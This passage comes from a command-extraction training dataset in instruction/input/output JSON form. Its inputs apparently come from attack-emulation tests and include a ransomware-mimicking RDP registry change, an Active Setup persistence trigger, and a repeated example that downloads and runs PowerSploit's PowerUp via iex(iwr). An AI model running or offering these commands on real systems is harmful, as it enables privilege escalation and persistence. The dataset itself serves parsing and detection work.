    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking the default route in the kernel's routing tables, execute the command: netstat -r | grep default",
    "output": "{\"command_list\": [\"netstat -r | grep default\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate and organize files on the system, use the following command sequence: cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}\nif [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;\nfind . -type f -iname *.pdf >> #{output_file}\ncat #{output_file}\nfind . -type f -name \".*\"",
    "output": "{\"command_list\": [\"cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}\\nif [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;\\nfind . -type f -iname *.pdf >> #{output_file}\\ncat #{output_file}\\nfind . -type f -name \\\".*\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, netsh.exe will be launched to display firewall rules using this command: netsh advfirewall firewall show rule name=all",
    "output": "{\"command_list\": [\"netsh advfirewall firewall show rule name=all\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the Operating System Build Number through the registry, use the following command: reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" /v CurrentBuildNumber",
    "output": "{\"command_list\": [\"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\" /v CurrentBuildNumber\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove an account from the domain admins group, use the following command: $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \"CN=Domain Admins*\"){\n  Remove-ADGroupMember -Identity \"Domain Admins\" -Members #{remove_user} -Credential $Credential -Confirm:$False\n} else{\n    write-host \"Error - Make sure #{remove_user} is in the domain admins group\" -foregroundcolor Red\n}",
    "output": "{\"command_list\": [\"$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \\\"CN=Domain Admins*\\\"){\\n  Remove-ADGroupMember -Identity \\\"Domain Admins\\\" -Members #{remove_user} -Credential $Credential -Confirm:$False\\n} else{\\n    write-host \\\"Error - Make sure #{remove_user} is in the domain admins group\\\" -foregroundcolor Red\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To emulate Mimic ransomware's capability of enabling multiple RDP sessions per user, modify the fSingleSessionPerUser registry value with this command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test modifies the 'Internet Explorer Core Fonts' registry key version to trigger the StubPath payload, using the command: Set-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Value \"0,0,0,0\"\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup",
    "output": "{\"command_list\": [\"Set-ItemProperty -Path \\\"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\{C9E9A340-D1F1-11D0-821E-444553540600}\\\" -Name \\\"Version\\\" -Value \\\"0,0,0,0\\\"\\n& $env:SYSTEMROOT\\\\system32\\\\runonce.exe /AlternateShellStartup\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory 